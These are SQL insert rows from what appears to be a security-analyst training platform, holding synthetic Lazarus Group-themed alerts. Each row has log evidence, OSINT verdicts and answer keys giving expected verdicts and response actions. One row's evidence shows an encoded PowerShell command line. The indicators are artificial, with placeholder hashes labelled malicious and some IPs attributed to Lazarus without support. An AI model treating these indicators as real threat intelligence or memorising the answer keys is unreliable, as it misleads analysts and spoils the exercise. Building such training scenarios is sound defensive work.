'{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"Vendor AV\",\"verdict\":\"malicious\",\"details\":\"Hash of known malicious installer associated with trojanized software.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"TradePlusPro_Setup.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename matches pattern of trojanized software used by APTs.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1362, 'Execution of Remote Access Trojan (RAT)', 'critical', 'Network Traffic Analysis', 'Once installed, the trojan activates a Remote Access Trojan (RAT), allowing Lazarus operatives to execute commands and maintain persistence on compromised machines. The RAT communicates with a known malicious IP associated with Lazarus Group activity.', 'Malware Execution', 'T1219 - Remote Access Tools', 1, 'Closed', 178, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"185.100.87.202\",\"protocol\":\"HTTP\",\"uri\":\"/command/control\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"malware_hash\":\"b9f7b3e3f5ab4a3a8f1a2f4e2a7b9d8c\",\"username\":\"jdoe\",\"filename\":\"rat_executable.exe\",\"action\":\"C2 Communication\"}', '2026-03-01 23:02:30', '2026-03-03 08:44:54', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of infected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.100.87.202\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b9f7b3e3f5ab4a3a8f1a2f4e2a7b9d8c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches a known Lazarus Group RAT.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"rat_executable.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Security\",\"verdict\":\"malicious\",\"details\":\"Filename associated with RAT deployment.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1363, 'Persistence through Credential Theft', 'high', 'SIEM Logs', 'An advanced persistent threat actor, identified as part of the Lazarus Group, has been observed harvesting credentials from an infected device to secure a foothold for lateral movement within the organization\'s digital environment. This tactic is indicative of their strategy to maintain long-term access and prepare for financial theft or destructive operations.', 'Credential Access', 'T1110: Brute Force', 1, 'Closed', 178, '{\"timestamp\":\"2023-10-11T14:32:00Z\",\"event_type\":\"authentication_failure\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.105\",\"username\":\"jdoe\",\"failed_attempts\":5,\"method\":\"dictionary_attack\",\"associated_malware\":{\"name\":\"WannaCry\",\"hash\":\"f7a2edb1b4567e2d5f8e8497c9a3f378\",\"filename\":\"wannacry.exe\"},\"indicator_of_compromise\":[\"source_ip\",\"associated_malware\"]}', '2026-03-01 23:02:30', '2026-03-03 08:46:47', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP address used by Lazarus Group for credential theft operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised device.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account targeted in the attack.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"f7a2edb1b4567e2d5f8e8497c9a3f378\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with WannaCry ransomware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"wannacry.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable name used by WannaCry ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"},{\"timestamp\":\"2026-03-02T13:54:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"},{\"timestamp\":\"2026-03-02T13:53:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"},{\"timestamp\":\"2026-03-02T13:52:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"},{\"timestamp\":\"2026-03-02T13:51:06.873Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-11T14:32:00Z\\\",\\\"event_type\\\":\\\"authentication_failure\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.105\\\",\\\"username\\\":\\\"jdoe\\\",\\\"failed_attempts\\\":5,\\\"method\\\":\\\"dictionary_attack\\\",\\\"associated_malware\\\":{\\\"name\\\":\\\"WannaCry\\\",\\\"hash\\\":\\\"f7a2edb1b4567e2d5f8e8497c9a3f378\\\",\\\"filename\\\":\\\"wannacry.exe\\\"},\\\"indicator_of_compromise\\\":[\\\"source_ip\\\",\\\"associated_malware\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1364, 'Lateral Movement with Compromised Accounts', 'high', 'Active Directory Monitoring', 'An advanced lateral movement attempt was detected where compromised accounts were used to access blockchain developer networks. The attackers are leveraging stolen credentials to exfiltrate sensitive data and exploit vulnerabilities within the blockchain development environment.', 'Account Compromise', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T13:45:00Z\",\"event_id\":\"4624\",\"logon_type\":\"3\",\"user\":\"dev_jdoe\",\"source_ip\":\"45.76.154.92\",\"destination_ip\":\"192.168.1.15\",\"process_name\":\"cmd.exe\",\"file_name\":\"blockchain_project.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"domain\":\"blockchain.local\",\"status\":\"Success\"}', '2026-03-01 23:02:30', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"dev_jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Compromised developer account used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.76.154.92\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known IP used by Lazarus Group for cyber operations.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with potentially unwanted applications.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"blockchain_project.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Unknown file accessed during the incident.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Identity\",\"evidence\":{\"user\":{\"username\":\"jdoe\",\"display_name\":\"John Doe\",\"department\":\"Finance\",\"manager\":\"Jane Smith\"},\"risk_score\":85,\"recent_activity\":[{\"action\":\"Login Success\",\"ip\":\"10.0.0.5\",\"location\":\"New York, US\",\"time\":\"09:00 AM\"},{\"action\":\"Password Reset Request\",\"ip\":\"192.168.1.5\",\"location\":\"New York, US\",\"time\":\"09:05 AM\"},{\"action\":\"Login Failed\",\"ip\":\"203.0.113.99\",\"location\":\"Moscow, RU\",\"time\":\"02:00 AM\",\"flag\":true}]}}', 0),
(1365, 'Exfiltration of Cryptocurrency Assets', 'critical', 'Cryptocurrency Transaction Monitoring', 'The final stage of the operation involves exfiltrating cryptocurrency assets from compromised wallets to accounts controlled by the Lazarus Group. The transaction monitoring system detected a suspicious transfer of 50 BTC from a previously compromised wallet to an address associated with known malicious activity.', 'Data Exfiltration', 'T1567 - Exfiltration Over Web Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T14:45:00Z\",\"transaction_id\":\"tx1234567890abcdef\",\"source_wallet\":\"1A2b3C4d5E6F7G8H9I0J\",\"destination_wallet\":\"3K4m5N6o7P8Q9R0S1T2U\",\"amount\":\"50 BTC\",\"transaction_fee\":\"0.0005 BTC\",\"external_ip\":\"203.0.113.45\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"compromised_user\",\"internal_ip\":\"192.168.1.25\",\"malicious_activity\":true}', '2026-03-01 23:02:30', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Lazarus Group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as associated with Lazarus Group operations.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"User account used in unauthorized cryptocurrency transactions.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"},{\"timestamp\":\"2026-03-02T13:54:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"},{\"timestamp\":\"2026-03-02T13:53:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"},{\"timestamp\":\"2026-03-02T13:52:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"},{\"timestamp\":\"2026-03-02T13:51:06.876Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-01T14:45:00Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_wallet\\\":\\\"1A2b3C4d5E6F7G8H9I0J\\\",\\\"destination_wallet\\\":\\\"3K4m5N6o7P8Q9R0S1T2U\\\",\\\"amount\\\":\\\"50 BTC\\\",\\\"transaction_fee\\\":\\\"0.0005 BTC\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"malicious_activity\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1366, 'Suspicious LinkedIn Connection Request', 'medium', 'LinkedIn activity logs', 'An aerospace engineer has received a connection request from a profile claiming to be a recruiter with a suspicious job offer. The profile is suspected to be fake and may be part of a social engineering attempt to gain initial access.', 'Social Engineering', 'T1566.002 - Spearphishing Link', 1, 'Closed', 232, '{\"event_time\":\"2023-10-15T14:23:52Z\",\"user_id\":\"aero.eng123\",\"user_email\":\"engineer@aerospaceco.com\",\"connection_request_id\":\"req_987654321\",\"requester_profile\":{\"name\":\"John Doe\",\"profile_url\":\"https://linkedin.com/in/johndoe-fake\",\"headline\":\"Senior Recruiter at TopTech Talent\",\"email\":\"john.doe@toptechtalent.com\",\"ip_address\":\"203.0.113.45\"},\"job_offer_details\":{\"position\":\"Project Manager\",\"location\":\"Remote\",\"salary\":\"150,000 USD\",\"offer_link\":\"http://maliciouslink.com/joboffer\"},\"internal_ip\":\"192.168.1.10\",\"notable_hash\":\"4d6f6e6579726174696f6e68617368\"}', '2026-03-01 23:03:23', '2026-03-14 16:41:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"john.doe@toptechtalent.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"suspicious\",\"details\":\"Email domain does not match known recruitment agencies.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://maliciouslink.com/joboffer\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Service\",\"verdict\":\"malicious\",\"details\":\"URL linked to malware distribution.\"}}],\"recommended_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.877Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"user_id\\\":\\\"aero.eng123\\\",\\\"user_email\\\":\\\"engineer@aerospaceco.com\\\",\\\"connection_request_id\\\":\\\"req_987654321\\\",\\\"requester_profile\\\":{\\\"name\\\":\\\"John Doe\\\",\\\"profile_url\\\":\\\"https://linkedin.com/in/johndoe-fake\\\",\\\"headline\\\":\\\"Senior Recruiter at TopTech Talent\\\",\\\"email\\\":\\\"john.doe@toptechtalent.com\\\",\\\"ip_address\\\":\\\"203.0.113.45\\\"},\\\"job_offer_details\\\":{\\\"position\\\":\\\"Project Manager\\\",\\\"location\\\":\\\"Remote\\\",\\\"salary\\\":\\\"150,000 USD\\\",\\\"offer_link\\\":\\\"http://maliciouslink.com/joboffer\\\"},\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"notable_hash\\\":\\\"4d6f6e6579726174696f6e68617368\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
